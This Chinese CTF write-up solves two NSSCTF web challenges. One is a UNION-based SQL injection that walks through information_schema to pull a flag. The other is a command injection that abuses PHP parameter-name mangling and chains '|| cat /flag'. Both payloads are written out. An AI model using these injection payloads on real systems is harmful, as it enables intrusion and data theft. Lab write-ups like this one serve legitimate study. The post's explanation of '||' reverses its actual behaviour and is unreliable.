NSSCTF-Web题目19(数据库注入、文件上传、php非法传参)

目录

[[LitCTF 2023]这是什么?SQL !注一下 !](#[LitCTF 2023]这是什么?SQL !注一下 !)

1、题目

2、知识点

3、思路

[[SWPUCTF 2023 秋季新生赛]Pingpingping](#[SWPUCTF 2023 秋季新生赛]Pingpingping)

4、题目

5、知识点

6、思路


[LitCTF 2023]这是什么?SQL !注一下 !

1、题目
2、知识点

数据库注入,联合查询

3、思路

首先,题目有提示我们参数为id,而且告诉我们闭合方式

先正常输入看看回显

加上闭合方式,?id=1))))))

结果没有回显,加上注释符

?id=1))))))--+

结果有正常回显,说明当前的闭合方式是正确的

使用联合查询语句 union select

?id=1)))))) union select 1,2--+

这里有两个回显位置

1、接下来判断库名

?id=1)))))) union select 1,database()--+

得到当前的库名为ctf

2、判断表名,这里要用到group_concat函数,下面会用到concat_ws 或者concat函数,在这里一起说明

group_concat:将group by产生的同一个分组中的值连接起来,返回一个字符串结果,也就是将你要查询的那一列数据展示出来

concat:用于连接字符串的,concat(str1,'分隔符',str2,'分隔符',str3,...)

返回的结果为参数的结果并带有分隔符,

concat_ws:用于连接字符串的,concat('分隔符',str1,str2,str3,...)

这个函数的作用跟上面的concat一样,只不过这个函数可以提前定义好分隔符,不用每个变量后带'分隔符'

判断表名

?id=1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctf' --+

这里的表只有一个,users

3、判断字段名

?id=1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_schema='ctf' and table_name='users' --+

得到三个字段:id,username,password

4、判断值,看看有没有flag

得到所有的信息,发现flag是假的

现在的情况说明flag藏在其他库的表里

那怎么查看其他库名呢?

information_schema这个库就存了所有数据库的信息,里面的SCHEMATA表就存了所有库名

5、查找所有库名

?id=1)))))) union select 1,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA --+

接下来就是找库里的表,然后字段名、然后值,步骤跟上面一下

flag藏在ctftraining这个库里

?id=1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctftraining' --+

得到表名:flag,news,users

语句跟上面的类似,也就改一下值,有哪里不懂的欢迎来问我,我这里直接到最后一步

下面三句都可以得到flag

?id=1)))))) union select 1,concat(flag) from ctftraining.flag --+

?id=1)))))) union select 1,concat_ws(',',flag) from ctftraining.flag --+

?id=1)))))) union select 1,flag from ctftraining.flag --+

得到flag:NSSCTF{76a62524-3666-4478-bf2e-3b231f43fbba}


[SWPUCTF 2023 秋季新生赛]Pingpingping

4、题目
5、知识点

RCE、PHP非法传参

6、思路

这里要我们上传Ping_ip.exe的值,上传后会执行系统命令,ping

1、我们先正常上传看看

结果没有任何反应

抓个包看看

在响应包里我们知道了php的版本为:PHP/7.4.33

这里涉及了一个知识点:php的非法传参:当变量名中出现**** 和空格时将被转换为下划线,当PHP版本小于8时,如果参数中出现中括号[,中括号会背转换成下划线_,但是中括号后的非法字符(也就是点和空格)不会被转化为下划线_

即原来我们的参数 Ping_ip**.exe** 上传后会被转化为 Ping_ip**_exe**

所以才没有结果,现在我们把_改成[ ,[会被转换成_,但后面的点就不会了

**Ping[ip.exe ------>**Ping_ip.exe

下面的报错信息没有了,说明我们成功执行了系统命令

接下来我们使用 管道符(||) 进行拼接命令

"||" 是一个管道操作符,它用于在命令行中执行多个命令,当前一个命令执行成功时,才会执行后一个命令。

?Ping[ip.exe=127.0.0.1 || ls /

?Ping[ip.exe=127.0.0.1 || cat /flag

得到flag:NSSCTF{9f2fdc0f-5bf4-455b-b211-1eebc2f0914e}


这篇文章就先写到这里了,哪里不懂的或者哪里不足的欢迎指出

相关推荐
XiaoLeisj5 分钟前
【MyBatis】深入解析 MyBatis XML 开发:增删改查操作和方法命名规范、@Param 重命名参数、XML 返回自增主键方法
xml·java·数据库·spring boot·sql·intellij-idea·mybatis
dleei36 分钟前
MySql安装及SQL语句
数据库·后端·mysql
信徒_1 小时前
Mysql 在什么样的情况下会产生死锁?
android·数据库·mysql
嘴对嘴编程2 小时前
oracle数据泵操作
数据库·oracle
·薯条大王8 小时前
MySQL联合查询
数据库·mysql
ALe要立志成为web糕手8 小时前
SESSION_UPLOAD_PROGRESS 的利用
python·web安全·网络安全·ctf
zhu12893035569 小时前
网络安全的现状与防护措施
网络·安全·web安全
morris13110 小时前
【redis】redis实现分布式锁
数据库·redis·缓存·分布式锁
hycccccch11 小时前
Canal+RabbitMQ实现MySQL数据增量同步
java·数据库·后端·rabbitmq
这个懒人11 小时前
深入解析Translog机制:Elasticsearch的数据守护者
数据库·elasticsearch·nosql·translog